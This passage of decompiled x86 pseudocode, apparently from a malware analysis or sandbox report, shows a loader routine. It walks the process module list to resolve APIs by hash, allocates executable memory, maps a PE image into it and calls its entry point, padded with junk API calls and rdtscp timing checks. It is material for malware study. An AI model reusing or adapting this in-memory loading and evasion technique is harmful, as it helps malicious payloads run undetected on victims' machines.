				signed char _t387;
				void* _t390;
				signed int _t395;
				signed char _t397;
				void* _t400;
				void* _t404;
				intOrPtr* _t407;
				signed char _t409;
				void* _t415;
				void* _t420;
				void* _t421;
				void* _t423;
				void* _t431;
				void* _t434;
				signed char _t435;
				void* _t437;
				signed char _t439;
				signed char _t448;
				signed int _t450;
				intOrPtr _t453;
				void* _t458;
				void* _t462;
				void* _t467;
				void* _t470;
				void* _t475;
				void* _t477;
				struct HICON__* _t479;
				signed int _t480;
				signed int _t482;
				long _t484;
				void* _t486;
				signed int _t489;
				signed char _t496;
				void* _t499;
				signed int _t509;
				signed int _t510;
				signed char _t512;
				signed int _t513;
				void* _t514;
				signed char _t516;
				void* _t519;
				signed int _t520;
				signed char _t521;
				signed int _t523;
				signed char _t524;
				signed int _t526;
				signed int _t531;
				signed int _t532;
				signed char _t534;
				void* _t541;
				signed int _t542;
				void* _t545;
				signed int _t546;
				int _t548;
				void* _t549;
				void* _t550;
				int _t556;
				void* _t557;
				signed int _t564;
				signed int _t565;
				signed int _t568;
				void* _t571;
				signed char _t574;
				signed int _t576;
				void* _t577;
				void* _t578;
				signed int _t580;
				signed int _t581;
				signed char _t584;
				signed int _t588;
				signed int _t589;
				signed int _t592;
				signed int _t593;
				signed int _t597;
				signed int _t619;
				signed int _t624;
				signed int _t625;
				signed int _t629;
				signed char _t632;
				signed int _t642;
				signed int _t643;
				signed int _t654;
				signed int _t659;
				signed char _t673;
				signed int _t674;
				signed int _t684;
				signed char _t691;
				intOrPtr* _t693;
				signed int _t695;
				signed char _t696;
				signed char _t700;
				signed int _t705;
				intOrPtr _t713;
				intOrPtr* _t714;
				void* _t719;
				signed char _t720;
				signed int _t723;
				void* _t724;
				signed int _t728;
				signed int _t729;
				signed int _t732;
				signed int _t733;
				signed int _t735;
				void* _t736;
				signed int _t737;
				void* _t738;
				void* _t739;
				void* _t745;
				signed char _t747;
				void* _t749;
				void* _t750;
				signed int _t755;
				signed int _t756;
				signed int _t757;
				void* _t758;
				void* _t759;
				signed int _t760;
				signed int _t761;
				signed int _t762;
				signed int _t763;
				signed int _t764;
				signed int _t765;
				signed int _t766;
				signed int _t767;
				intOrPtr* _t769;
				void* _t770;
				void* _t771;
				signed int _t775;
				signed int _t777;
				signed int _t780;
				signed int _t782;
				signed int _t785;
				signed int _t786;
				void* _t787;
				signed int _t788;
				signed int _t790;
				signed int _t792;

				_t597 = __ecx;
				_t354 =  *0x6ed6d008; // 0x3f169fae
				_t355 = _t354 ^ _t788;
				_v8 = _t355;
				asm("movups xmm0, [ebp+0x8]");
				_push(__ebx);
				asm("movups [ebp-0x94], xmm0");
				_push(__edi);
				asm("movups xmm0, [ebp+0x18]");
				asm("movups [ebp-0x84], xmm0");
				asm("movups xmm0, [ebp+0x28]");
				asm("movups [ebp-0x74], xmm0");
				asm("rdtscp");
				_v12 = __ecx;
				if(__edx != 0 || _t355 > 0x989680) {
					_t732 = 0xd66f8c;
					_v24 = 0xd66f8c;
				} else {
					asm("rdtscp");
					_v12 = __ecx;
					_t355 = E6ED57520(0x989680, 0, _t355, __edx);
					_t732 = _t355;
					_v24 = _t355;
				}
				asm("rdtscp");
				_v12 = _t597;
				_t718 = _t355 * 0xa094 >> 0x20;
				_t360 = E6ED57C90(_t355 * 0xa094, 0 + _t718, 0x5f, 0);
				asm("movd xmm0, edi");
				asm("cvtdq2pd xmm0, xmm0");
				_t15 = _t360 + 3; // 0x3
				_t574 = _t15;
				_v28 = _t574;
				asm("movsd [ebp-0x10], xmm0");
				asm("movsd xmm0, [0x6ed66728]");
				_v92 = 0;
				_v12 = 0;
				_v76 = 0;
				_v72 = 0;
				_t361 = E6ED227E0(_t360, _t718);
				asm("movsd [ebp-0x3c], xmm0");
				asm("xorps xmm0, xmm0");
				E6ED227E0(_t361, _t718);
				asm("addsd xmm0, [ebp-0x3c]");
				_t755 = _v152;
				asm("movsd xmm1, [0x6ed66640]");
				asm("cdq");
				_v52 = _t755;
				asm("mulsd xmm0, [0x6ed664e0]");
				_t365 = _t732 - _t718 >> 1;
				asm("divsd xmm0, [0x6ed66508]");
				asm("movsd [ebp-0x3c], xmm0");
				if(_t365 < _t574) {
					asm("movsd xmm0, [ebp-0x10]");
					_t733 = 0;
					__eflags = 0;
					asm("comisd xmm0, xmm1");
					_t756 = 0x66;
					if(0 > 0) {
						do {
							_t733 = (_t733 << 0x00000020 | _t756) << 1;
							_t756 = _t756 + _t756;
							__eflags = _t756;
							_t718 = _t733;
							_t365 = L6ED57F60(_t365, _t756);
							asm("comisd xmm0, [0x6ed66640]");
						} while (__eflags > 0);
					}
					asm("comisd xmm0, [0x6ed66540]");
					if(__eflags >= 0) {
						CreateMenu();
						_t365 = L6ED57F60(E6ED25F20(0x21), _t570);
						asm("cvtsd2ss xmm0, xmm0");
						asm("cvtss2sd xmm0, xmm0");
					}
					asm("movss xmm1, [0x6ed66774]");
					_t575 = 0x4f;
					_t734 = 0;
					__eflags = 0;
					asm("movss [ebp-0x24], xmm1");
					asm("comisd xmm0, [0x6ed666f0]");
					_t31 = _t575 - 0x1e; // 0x31
					_t757 = _t31;
					if(0 > 0) {
						do {
							asm("cdq");
							_t575 = E6ED578D0(_t575, _t718, _t757, _t734);
							_t568 = E6ED25F20(_t567);
							asm("movss xmm1, [ebp-0x24]");
							_t757 = _t568;
							asm("subss xmm1, xmm1");
							_t734 = _t718;
							asm("movss [ebp-0x24], xmm1");
							_t365 = L6ED57F60(_t568, _t757);
							asm("cvtsd2ss xmm0, xmm0");
							asm("movd xmm1, ebx");
							asm("mulss xmm0, [ebp-0x24]");
							asm("cvtdq2ps xmm1, xmm1");
							asm("subss xmm1, xmm0");
							asm("cvtps2pd xmm0, xmm1");
							asm("comisd xmm0, [0x6ed666f0]");
						} while (__eflags > 0);
					}
					asm("ucomisd xmm0, [0x6ed665f0]");
					asm("lahf");
					__eflags = _t365 & 0x00000044;
					if((_t365 & 0x00000044) != 0) {
						GetDialogBaseUnits();
						_t575 = E6ED25ED0(0xc9);
						_t368 = E6ED25F20(_t367);
						asm("movd xmm1, ebx");
						asm("cvtdq2ps xmm1, xmm1");
						asm("movd xmm0, eax");
						asm("mulss xmm1, [0x6ed66780]");
						asm("cvtdq2ps xmm0, xmm0");
						asm("mulss xmm1, xmm0");
						asm("cvtps2pd xmm0, xmm1");
					} else {
						GetProcessWindowStation();
						_t564 = E6ED25ED0(0x4c);
						asm("movss xmm2, [0x6ed66784]");
						_t565 = _t564;
						asm("movaps xmm0, xmm2");
						asm("movd xmm1, eax");
						asm("cvtdq2ps xmm1, xmm1");
						asm("cdq");
						asm("divss xmm0, xmm1");
						asm("cvttss2si ecx, xmm0");
						_t368 = _t565 / 0x4c;
						_t718 = _t565 % 0x4c;
						asm("movd xmm0, eax");
						asm("cvtdq2ps xmm0, xmm0");
						asm("subss xmm2, xmm0");
						asm("cvtps2pd xmm0, xmm2");
					}
					asm("ucomisd xmm0, [0x6ed66628]");
					asm("movsd [ebp-0x10], xmm0");
					asm("lahf");
					__eflags = _t368 & 0x00000044;
					if(__eflags != 0) {
						goto L284;
					} else {
						asm("movsd xmm1, [0x6ed66648]");
						_t718 = 0x2e;
						asm("comisd xmm0, xmm1");
						if(__eflags <= 0) {
							_v32 = _v48;
						} else {
							do {
								_t705 = _t718 + _t718;
								_t718 = _t718 - _t705;
								__eflags = _t718 * _t705;
								asm("movd xmm0, eax");
								asm("cvtdq2pd xmm0, xmm0");
								asm("comisd xmm0, xmm1");
								asm("movsd [ebp-0x10], xmm0");
							} while (_t718 * _t705 > 0);
							_v32 = _v48;
						}
						goto L26;
					}
				} else {
					while(1) {
						asm("movsd xmm0, [0x6ed66728]");
						_t571 = E6ED227E0(_t365, _t718);
						asm("movsd [ebp-0x3c], xmm0");
						asm("xorps xmm0, xmm0");
						_t365 = E6ED227E0(_t571, _t718);
						asm("addsd xmm0, [ebp-0x3c]");
						asm("mulsd xmm0, [0x6ed664e0]");
						asm("divsd xmm0, [0x6ed66508]");
						asm("movsd [ebp-0x3c], xmm0");
						if( *_t755 != 0x5a4d) {
							goto L9;
						}
						_t713 =  *((intOrPtr*)(_t755 + 0x3c));
						_t365 = _t713 - 0x40;
						if(_t713 - 0x40 > 0x3bf) {
							goto L9;
						}
						_t714 = _t713 + _t755;
						_v32 = _t714;
						if( *_t714 != 0x4550) {
							goto L9;
						}
						asm("movsd xmm0, [ebp-0x10]");
						L26:
						_t381 =  *( *[fs:0x30] + 0xc);
						_v44 = _t381;
						_t618 =  *(_t381 + 0x14);
						_v36 = _t618;
						__eflags = _t618;
						if(__eflags == 0) {
							L109:
							_t734 = _v24;
							_t575 = _v28;
							goto L110;
						} else {
							while(1) {
								_v48 =  *((intOrPtr*)(_t618 + 0x28));
								_t745 = 0;
								_t489 =  *(_t618 + 0x24) & 0x0000ffff;
								_t757 = _t489;
								asm("movsd [ebp-0x10], xmm0");
								_t718 = (_t489 + 1) * 4 >> 0x20;
								_t381 = E6ED341D4(_t718, __eflags,  ~(0 | __eflags > 0x00000000) | (_t489 + 0x00000001) * 0x00000004);
								_t790 = _t790 + 4;
								_t575 = _t757;
								__eflags = _t757;
								if(_t757 == 0) {
									goto L49;
								}
								asm("movsd xmm0, [ebp-0x10]");
								_t757 = _v48;
								_t698 = _v28;
								asm("movsd [ebp-0x10], xmm0");
								do {
									_t531 = _v24;
									__eflags = _t531 - _t698;
									_t532 =  <=  ? _t698 : _t531;
									_v24 = _t532;
									L298();
									_t700 =  *_t757;
									_t734 = _t532;
									__eflags = _t700 - 0x61;
									if(_t700 < 0x61) {
										_t534 = _v24 + 4;
										__eflags = _t534 - _v28;
										if(__eflags <= 0) {
											asm("movsd xmm1, [0x6ed665d0]");
											asm("comisd xmm1, xmm0");
											if(__eflags > 0) {
												asm("movsd xmm0, [0x6ed666b0]");
												_t557 = E6ED25BB0(_t534, _t575, _t700, _t718, _t734, _t757);
												asm("cvttsd2si eax, xmm0");
												_t534 = _t557 - 0x22;
												asm("movd xmm0, eax");
												asm("cvtdq2pd xmm0, xmm0");
											}
											asm("movsd xmm1, [0x6ed666c8]");
											asm("comisd xmm1, xmm0");
											if(__eflags < 0) {
												asm("ucomisd xmm0, [0x6ed666c0]");
												asm("lahf");
												__eflags = _t534 & 0x00000044;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t556 = GdiFlush();
													asm("xorps xmm0, xmm0");
													_t534 = E6ED25BB0(_t556, _t575, _t700, _t718, _t734, _t757);
													asm("cvtsd2ss xmm0, xmm0");
													asm("xorps xmm1, xmm1");
													asm("cvtss2sd xmm0, xmm0");
													asm("subsd xmm1, xmm0");
													goto L38;
												}
												goto L303;
											} else {
												__imp__GetCurrentProcessorNumber();
												L37:
												asm("xorps xmm0, xmm0");
												asm("xorps xmm1, xmm1");
												asm("divsd xmm1, xmm0");
											}
											L38:
											asm("movsd xmm0, [0x6ed66560]");
											asm("movsd [ebp-0x10], xmm0");
											asm("movsd xmm0, [0x6ed666f8]");
											asm("movsd [ebp-0x50], xmm0");
											asm("movsd xmm0, [0x6ed66708]");
											asm("comisd xmm0, xmm1");
											while(__eflags >= 0) {
												GetLogicalDrives();
												asm("movsd xmm0, [ebp-0x10]");
												asm("cvttsd2si ecx, [ebp-0x50]");
												asm("subsd xmm0, xmm0");
												asm("movsd [ebp-0x10], xmm0");
												_t534 = E6ED25ED0(_t700);
												asm("movd xmm0, eax");
												asm("cvtdq2pd xmm0, xmm0");
												asm("movaps xmm1, xmm0");
												asm("movsd [ebp-0x50], xmm0");
												asm("mulsd xmm1, [ebp-0x10]");
												asm("movsd xmm0, [0x6ed66708]");
												asm("comisd xmm0, xmm1");
											}
											asm("ucomisd xmm1, [0x6ed666c0]");
											asm("lahf");
											__eflags = _t534 & 0x00000044;
											if(__eflags != 0) {
												L285:
												_t604 = 0x46;
												E6ED25D10();
												L286:
												_t370 = GetClipboardViewer();
												asm("movsd xmm0, [0x6ed666f8]");
												E6ED25BB0(_t370, _t575, _t604, _t718, _t734, _t757);
												asm("cvttsd2si eax, xmm0");
												E6ED25D10();
												L287:
												GetCommandLineW();
												E6ED25D10();
												L288:
												E6ED25D10();
												L289:
												E6ED25D10();
												L290:
												__imp__GetClipboardSequenceNumber();
												E6ED25D10();
												L291:
												E6ED25D10();
												L292:
												E6ED25D10();
												L293:
												__imp__IsWow64Message();
												L294:
												GetUserDefaultLangID();
												E6ED25D10();
												L295:
												E6ED25D10();
												L296:
												__imp__UnregisterApplicationRestart();
												E6ED25D10();
												L297:
												GetACP();
												E6ED25D10();
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t788);
												_t792 = (_t790 & 0xfffffff8) - 0xc;
												_t375 =  *0x6ed6d008; // 0x3f169fae
												_t376 = _t375 ^ _t792;
												_v172 = _t376;
												_push(_t757);
												_t758 = 0x1a;
												asm("rdtscp");
												__eflags = _t718;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L301:
														asm("rdtscp");
													} else {
														__eflags = _t376 - 0x989680;
														if(_t376 <= 0x989680) {
															goto L301;
														}
													}
												}
												asm("rdtscp");
												asm("ror esi, 0xd");
												_pop(_t759);
												__eflags = _v172 ^ _t792;
												return E6ED34160(_t758, _t575, _v172 ^ _t792, _t718, _t734, _t759);
											} else {
												asm("movsd xmm0, [0x6ed665c8]");
												asm("comisd xmm0, xmm1");
												if(__eflags <= 0) {
													GetLastError();
													asm("movsd xmm0, [0x6ed66720]");
												} else {
													_t550 = E6ED25ED0(0x5b);
													asm("cdq");
													asm("sbb edx, 0x0");
													L6ED57F60(_t550 - 0x4a, _t550 - 0x4a);
													asm("cvtsd2ss xmm0, xmm0");
													asm("subss xmm0, xmm0");
													asm("cvtss2sd xmm0, xmm0");
												}
												asm("movsd [ebp-0x10], xmm0");
												goto L47;
											}
										} else {
											_t745 = _t734 + (_t700 & 0x000000ff);
											goto L47;
										}
									} else {
										_t745 = _t734 + 0xffffffe0 + (_t700 & 0x000000ff);
										L47:
										_t698 = _v28;
										asm("cdq");
										_t381 = _v24 - _t718 >> 1;
										__eflags = _v24 - _t718 >> 1 - _t698;
										if(_v24 - _t718 >> 1 < _t698) {
											_t750 = AreFileApisANSI;
											asm("o16 nop [eax+eax]");
											while(1) {
												asm("movsd xmm1, [0x6ed666f8]");
												_t594 = 0x4f;
												_t786 = 0;
												__eflags = 0;
												_v65 = 3;
												asm("comisd xmm1, xmm0");
												_v40 = 0x4f;
												if(0 < 0) {
													goto L84;
												}
												L82:
												do {
													__imp__GetCurrentProcessorNumber();
													_t541 = E6ED25F20(_t594);
													_t542 = _v40;
													_t786 = (_t786 << 0x00000020 | _t542) << 1;
													_t718 = _v65 - _t541;
													_v65 = _v65 - _t541;
													_v40 = _t542 + _t542;
													asm("cdq");
													_t545 = E6ED574E0(_v65 - _t541, _v65 - _t541, _t541, _v65 - _t541);
													_t594 = _v40;
													_t546 = _t545 - _v40;
													__eflags = _t546;
													_t698 = _t546;
													asm("sbb edx, esi");
													L6ED57F60(_t546, _t546);
													asm("movsd xmm1, [0x6ed666f8]");
													asm("comisd xmm1, xmm0");
												} while (__eflags >= 0);
												L84:
												asm("movsd xmm1, [0x6ed66550]");
												do {
													asm("cvttsd2si ecx, xmm1");
													_t595 = E6ED25F20(_t698);
													_t698 = E6ED25ED0(_t538);
													asm("movd xmm1, ecx");
													asm("movd xmm0, eax");
													asm("cvtdq2pd xmm1, xmm1");
													asm("cvtdq2pd xmm0, xmm0");
													asm("subsd xmm0, xmm1");
													asm("comisd xmm0, [0x6ed664f0]");
												} while (__eflags >= 0);
												asm("comisd xmm0, [0x6ed66640]");
												if(__eflags <= 0) {
													asm("movsd xmm0, [0x6ed66710]");
													while(1) {
														asm("movsd xmm1, [0x6ed666f8]");
														_t594 = 0x4f;
														_t786 = 0;
														__eflags = 0;
														_v65 = 3;
														asm("comisd xmm1, xmm0");
														_v40 = 0x4f;
														if(0 < 0) {
															goto L84;
														}
														goto L82;
													}
												}
												_t787 = 0x7e;
												do {
													_t548 = AreFileApisANSI();
													asm("movd xmm0, esi");
													asm("cvtdq2pd xmm0, xmm0");
													_t549 = E6ED25BB0(_t548, _t595, _t698, _t718, _t750, _t787);
													asm("xorps xmm1, xmm1");
													asm("cvtsd2ss xmm1, xmm0");
													asm("movaps xmm0, xmm1");
													asm("subss xmm0, xmm1");
													asm("cvttss2si eax, xmm0");
													_t787 = _t549;
													asm("movd xmm0, esi");
													asm("cvtdq2ps xmm0, xmm0");
													asm("subss xmm1, xmm0");
													asm("cvtps2pd xmm0, xmm1");
													asm("movsd xmm1, [0x6ed66598]");
													asm("comisd xmm1, xmm0");
												} while (__eflags >= 0);
											}
										}
										goto L48;
									}
									goto L303;
									L48:
									_t575 = _t575 + 0xffff;
									_t757 = _t757 + 1;
									__eflags = _t575;
								} while (_t575 != 0);
								L49:
								__eflags = _t745 - 0x6a4abc5b;
								if(_t745 != 0x6a4abc5b) {
									L75:
									__eflags = _v92;
									if(_v92 == 0) {
										L78:
										_t618 =  *_v36;
										_v36 = _t618;
										__eflags = _t618;
										if(__eflags == 0) {
											goto L109;
										} else {
											asm("movsd xmm0, [ebp-0x10]");
											continue;
										}
									} else {
										__eflags = _v12;
										if(_v12 == 0) {
											goto L78;
										} else {
											__eflags = _v76;
											if(_v76 != 0) {
												_t734 = _v24;
												_t575 = _v28;
												__eflags = _t734 + 4 - _t575;
												if(__eflags > 0) {
													_t718 = 0x91afca54;
													E6ED27A30(0x91afca54);
													_t684 = _v32;
													_t618 =  *((intOrPtr*)(_t684 + 0x50)) + 0xc;
													_t381 = VirtualAlloc(0,  *((intOrPtr*)(_t684 + 0x50)) + 0xc, 0x3000, 0x40); // executed
													_v44 = _t381;
													L110:
													asm("movsd xmm0, [0x6ed664f0]");
													_t760 = 1;
													asm("o16 nop [eax+eax]");
													do {
														asm("subsd xmm0, [0x6ed664e8]");
														asm("xorps xmm1, xmm1");
														asm("mulsd xmm0, [0x6ed664e0]");
														asm("addsd xmm0, xmm1");
														_t381 = E6ED227E0(_t381, _t718);
														asm("mulsd xmm0, [0x6ed664d8]");
														_t760 = _t760 + 1;
														__eflags = _t760;
														asm("movsd xmm1, [0x6ed66748]");
														asm("addsd xmm0, [ebp-0x3c]");
														asm("movaps xmm2, xmm0");
														asm("movd xmm0, esi");
														asm("cvtdq2pd xmm0, xmm0");
														asm("movsd [ebp-0x3c], xmm2");
														asm("comisd xmm1, xmm0");
													} while (_t760 >= 0);
													__eflags = _t734 - _t575;
													if(__eflags > 0) {
														_t619 = _v52;
														_t761 = _t619;
														_v32 = _t619;
														_t383 =  *((intOrPtr*)(_t619 + 0x3c)) + _t619;
														_v40 = _t383;
														_t735 =  *(_t383 + 0x54);
														_t384 = _v44;
														_v36 = _t384;
														__eflags = _t735;
														if(_t735 != 0) {
															_t589 = _t384;
															asm("o16 nop [eax+eax]");
															do {
																asm("movsd xmm0, [ebp-0x10]");
																asm("movsd [ebp-0x10], xmm0");
																asm("movsd xmm0, [0x6ed664d0]");
																E6ED227E0(_t384, _t718);
																asm("mulsd xmm0, [0x6ed664d8]");
																_t384 =  *_t761;
																_t761 = _t761 + 1;
																 *_t589 = _t384;
																_t589 = _t589 + 1;
																asm("addsd xmm0, [ebp-0x3c]");
																asm("movaps xmm2, xmm0");
																asm("movsd [ebp-0x3c], xmm2");
																_t735 = _t735 - 1;
																__eflags = _t735;
															} while (_t735 != 0);
															asm("movsd xmm0, [ebp-0x10]");
															_v36 = _t589;
															_t575 = _v28;
															asm("movsd [ebp-0x10], xmm0");
															_v32 = _t761;
															asm("movsd [ebp-0x3c], xmm2");
														}
														asm("movsd xmm0, [0x6ed664f0]");
														_t734 = _t735 - 1;
														__eflags = _t734;
														_v56 = _t734;
														_t762 = 1;
														do {
															asm("mulsd xmm0, [0x6ed664e0]");
															asm("xorps xmm1, xmm1");
															asm("addsd xmm0, xmm1");
															_t384 = E6ED227E0(_t384, _t718);
															asm("mulsd xmm0, [0x6ed664c8]");
															_t762 = _t762 + 1;
															__eflags = _t762;
															asm("movsd xmm1, [0x6ed66740]");
															asm("addsd xmm0, [ebp-0x3c]");
															asm("movsd [ebp-0x3c], xmm0");
															asm("movd xmm0, esi");
															asm("cvtdq2pd xmm0, xmm0");
															asm("comisd xmm1, xmm0");
														} while (_t762 >= 0);
														asm("cdq");
														_t387 = _v24 - _t718 >> 1;
														__eflags = _t387 - _t575;
														if(_t387 < _t575) {
															asm("movsd xmm0, [ebp-0x10]");
															asm("ucomisd xmm0, [0x6ed666c8]");
															asm("lahf");
															__eflags = _t387 & 0x00000044;
															if(__eflags != 0) {
																goto L289;
															} else {
																asm("comisd xmm0, [0x6ed66708]");
																if(__eflags <= 0) {
																	GetTickCount();
																	_t390 = L6ED57F60(E6ED25F20(0x29), _t389);
																	asm("cvtsd2ss xmm0, xmm0");
																	asm("movss [ebp-0x4c], xmm0");
																	asm("movsd xmm0, [0x6ed665c0]");
																	E6ED25BB0(_t390, _t575, _t389, _t718, _t734, _t762);
																	asm("movss xmm1, [ebp-0x4c]");
																	asm("divss xmm1, [0x6ed66770]");
																	asm("cvttsd2si eax, xmm0");
																	asm("movd xmm0, eax");
																	asm("cvtdq2ps xmm0, xmm0");
																	asm("addss xmm1, xmm0");
																	asm("cvtps2pd xmm0, xmm1");
																} else {
																	E6ED25ED0(0x29);
																	asm("movd xmm0, eax");
																	asm("cvtdq2ps xmm0, xmm0");
																	asm("divss xmm0, [0x6ed6678c]");
																	asm("addss xmm0, [0x6ed66788]");
																	asm("cvtps2pd xmm0, xmm0");
																}
																asm("comisd xmm0, [0x6ed666e8]");
																if(__eflags <= 0) {
																	EmptyClipboard();
																	E6ED25ED0(0x4f);
																	E6ED25D10();
																	L284:
																	GetForegroundWindow();
																	E6ED25D10();
																	goto L285;
																} else {
																	asm("movss xmm1, [0x6ed6677c]");
																	_t624 = 5;
																	asm("movsd xmm2, [0x6ed666f0]");
																	_t394 = 0x58;
																	do {
																		_t395 = _t394 * _t624;
																		__eflags = _t395;
																		_t624 = _t395;
																		asm("movd xmm0, ecx");
																		asm("cvtdq2ps xmm0, xmm0");
																		asm("subss xmm0, xmm1");
																		asm("movaps xmm1, xmm0");
																		asm("movd xmm0, eax");
																		asm("cvtdq2ps xmm0, xmm0");
																		_t394 = 1;
																		asm("mulss xmm0, xmm1");
																		asm("cvtps2pd xmm0, xmm0");
																		asm("comisd xmm2, xmm0");
																		asm("movsd [ebp-0x10], xmm0");
																	} while (_t395 >= 0);
																	asm("movsd xmm1, [0x6ed664e0]");
																	goto L141;
																}
															}
														} else {
															asm("movsd xmm0, [0x6ed66728]");
															_t475 = E6ED227E0(_t387, _t718);
															asm("movsd [ebp-0x3c], xmm0");
															asm("xorps xmm0, xmm0");
															E6ED227E0(_t475, _t718);
															asm("addsd xmm0, [ebp-0x3c]");
															asm("movsd xmm1, [0x6ed664e0]");
															_t673 = _v40;
															asm("mulsd xmm0, xmm1");
															_t394 =  *(_t673 + 0x14) & 0x0000ffff;
															_t718 =  *(_t673 + 6) & 0x0000ffff;
															_t734 = _t673 + 0x18 + ( *(_t673 + 0x14) & 0x0000ffff);
															_v56 = _t734;
															asm("divsd xmm0, [0x6ed66510]");
															asm("movsd [ebp-0x3c], xmm0");
															__eflags = _t718;
															if(_t718 != 0) {
																asm("movsd xmm0, [ebp-0x10]");
																_t394 = _v52;
																do {
																	_t718 = _t718 - 1;
																	_t780 =  *((intOrPtr*)(_t734 + 0xc)) + _v44;
																	_t588 =  *((intOrPtr*)(_t734 + 0x14)) + _t394;
																	_t674 =  *(_t734 + 0x10);
																	_v32 = _t780;
																	_v36 = _t588;
																	__eflags = _t674;
																	if(_t674 != 0) {
																		do {
																			_t477 =  *_t588;
																			_t588 = _t588 + 1;
																			 *_t780 = _t477;
																			_t780 = _t780 + 1;
																			_t674 = _t674 - 1;
																			__eflags = _t674;
																		} while (_t674 != 0);
																		_t394 = _v52;
																		_v36 = _t588;
																		_v32 = _t780;
																	}
																	_t734 = _t734 + 0x28;
																	_v72 = _t674 - 1;
																	__eflags = _t718;
																} while (_t718 != 0);
																_t575 = _v28;
																asm("movsd [ebp-0x10], xmm0");
																_v56 = _t734;
															}
															L141:
															asm("movsd xmm0, [0x6ed664f0]");
															_t763 = 1;
															asm("o16 nop [eax+eax]");
															do {
																asm("subsd xmm0, [0x6ed664e8]");
																asm("mulsd xmm0, xmm1");
																asm("xorps xmm1, xmm1");
																asm("addsd xmm0, xmm1");
																_t394 = E6ED227E0(_t394, _t718);
																asm("mulsd xmm0, [0x6ed664d8]");
																_t763 = _t763 + 1;
																__eflags = _t763;
																asm("movsd xmm1, [0x6ed66748]");
																asm("addsd xmm0, [ebp-0x3c]");
																asm("movsd [ebp-0x3c], xmm0");
																asm("movd xmm0, esi");
																asm("cvtdq2pd xmm0, xmm0");
																asm("comisd xmm1, xmm0");
																asm("movsd xmm1, [0x6ed664e0]");
															} while (_t763 >= 0);
															asm("movsd xmm2, [ebp-0x10]");
															_t397 = _v24 + _v24;
															__eflags = _t397 - _t575;
															if(_t397 < _t575) {
																asm("ucomisd xmm2, [0x6ed66630]");
																asm("lahf");
																__eflags = _t397 & 0x00000044;
																if(__eflags == 0) {
																	do {
																		_t397 = L6ED57F60(_t397, 1);
																		asm("movaps xmm2, xmm0");
																		asm("ucomisd xmm2, [0x6ed66630]");
																		asm("movsd [ebp-0x10], xmm2");
																		asm("lahf");
																		__eflags = _t397 & 0x00000044;
																	} while (__eflags != 0);
																}
																asm("comisd xmm2, [0x6ed665e8]");
																if(__eflags >= 0) {
																	_t397 = GetThreadLocale();
																	asm("xorps xmm2, xmm2");
																	asm("movsd [ebp-0x10], xmm2");
																}
																_t764 = _v36;
																_t718 = _v32;
															} else {
																_t718 = _v40 - 0xffffff80;
																_v32 = _t718;
																_t764 =  *_t718 + _v44;
																_v36 = _t764;
															}
															_t625 =  *(_t764 + 0xc);
															__eflags = _t625;
															if(_t625 == 0) {
																L205:
																asm("movsd xmm0, [0x6ed664f0]");
																_t765 = 1;
																asm("movsd [ebp-0x50], xmm2");
																do {
																	asm("mulsd xmm0, [0x6ed664e0]");
																	asm("xorps xmm1, xmm1");
																	asm("addsd xmm0, xmm1");
																	_t397 = E6ED227E0(_t397, _t718);
																	asm("mulsd xmm0, [0x6ed664c8]");
																	_t765 = _t765 + 1;
																	__eflags = _t765;
																	asm("movsd xmm1, [0x6ed66740]");
																	asm("addsd xmm0, [ebp-0x3c]");
																	asm("movsd [ebp-0x3c], xmm0");
																	asm("movd xmm0, esi");
																	asm("cvtdq2pd xmm0, xmm0");
																	asm("comisd xmm1, xmm0");
																} while (_t765 >= 0);
																_t718 = _v24;
																_t766 = _v44;
																__eflags = _t718 - _t575;
																if(_t718 <= _t575) {
																	_t626 = _v32;
																} else {
																	_t397 = _v40;
																	_v52 = _t766 -  *((intOrPtr*)(_t397 + 0x34));
																	_t626 = _t397 + 0xa0;
																	_v32 = _t626;
																}
																__eflags =  *(_t626 + 4);
																if( *(_t626 + 4) == 0) {
																	L257:
																	asm("movsd xmm0, [0x6ed664f0]");
																	_t767 = 1;
																	asm("o16 nop [eax+eax]");
																	do {
																		asm("mulsd xmm0, [0x6ed664e0]");
																		asm("xorps xmm1, xmm1");
																		asm("addsd xmm0, xmm1");
																		_t397 = E6ED227E0(_t397, _t718);
																		asm("mulsd xmm0, [0x6ed664c8]");
																		_t767 = _t767 + 1;
																		__eflags = _t767;
																		asm("movsd xmm1, [0x6ed66740]");
																		asm("addsd xmm0, [ebp-0x3c]");
																		asm("movsd [ebp-0x3c], xmm0");
																		asm("movd xmm0, esi");
																		asm("cvtdq2pd xmm0, xmm0");
																		asm("comisd xmm1, xmm0");
																	} while (_t767 >= 0);
																	__eflags = _v24 - _t575;
																	if(__eflags >= 0) {
																		_t576 = _v44;
																		 *0x6ed6f334 = _t576;
																		_t769 =  *((intOrPtr*)(_v40 + 0x28)) + _t576;
																		__eflags = _v148;
																		if(_v148 != 0) {
																			_t399 =  *_t769(_v116, 1, 0);
																			goto L282;
																		} else {
																			_t718 = _v144;
																			_t626 = _t576;
																			_t737 = E6ED26030(_t576, _v144);
																			__eflags = _t737;
																			if(_t737 == 0) {
																				L282:
																				asm("movsd xmm0, [ebp-0x3c]");
																				_t400 = E6ED57DD0(_t399, _t626, _t718);
																				_pop(_t736);
																				_pop(_t770);
																				__eflags = _v8 ^ _t788;
																				_pop(_t577);
																				return E6ED34160(_t400 + _t769, _t577, _v8 ^ _t788, _t718, _t736, _t770);
																			} else {
																				__eflags = _v120;
																				_t629 = _v116;
																				if(_v120 != 0) {
																					__eflags = _t629;
																					if(_t629 != 0) {
																						_t719 =  *( *[fs:0x30] + 0xc);
																						_t407 =  *(_t719 + 0x14);
																						_t718 = _t719 + 0x14;
																						__eflags = _t407 - _t718;
																						if(_t407 != _t718) {
																							while(1) {
																								__eflags =  *(_t407 + 0x10) - _t629;
																								if( *(_t407 + 0x10) == _t629) {
																									break;
																								}
																								_t407 =  *_t407;
																								__eflags = _t407 - _t718;
																								if(_t407 != _t718) {
																									continue;
																								} else {
																								}
																								goto L280;
																							}
																							 *(_t407 + 0x10) = _t576;
																						}
																					}
																				}
																				L280:
																				 *_t769(_t629, 1, 0);
																				_t404 =  *_t737(_v136, _v132, _v128, _v124);
																				_pop(_t738);
																				_pop(_t771);
																				_pop(_t578);
																				__eflags = _v8 ^ _t788;
																				return E6ED34160(_t404, _t578, _v8 ^ _t788, _t718, _t738, _t771);
																			}
																		}
																	} else {
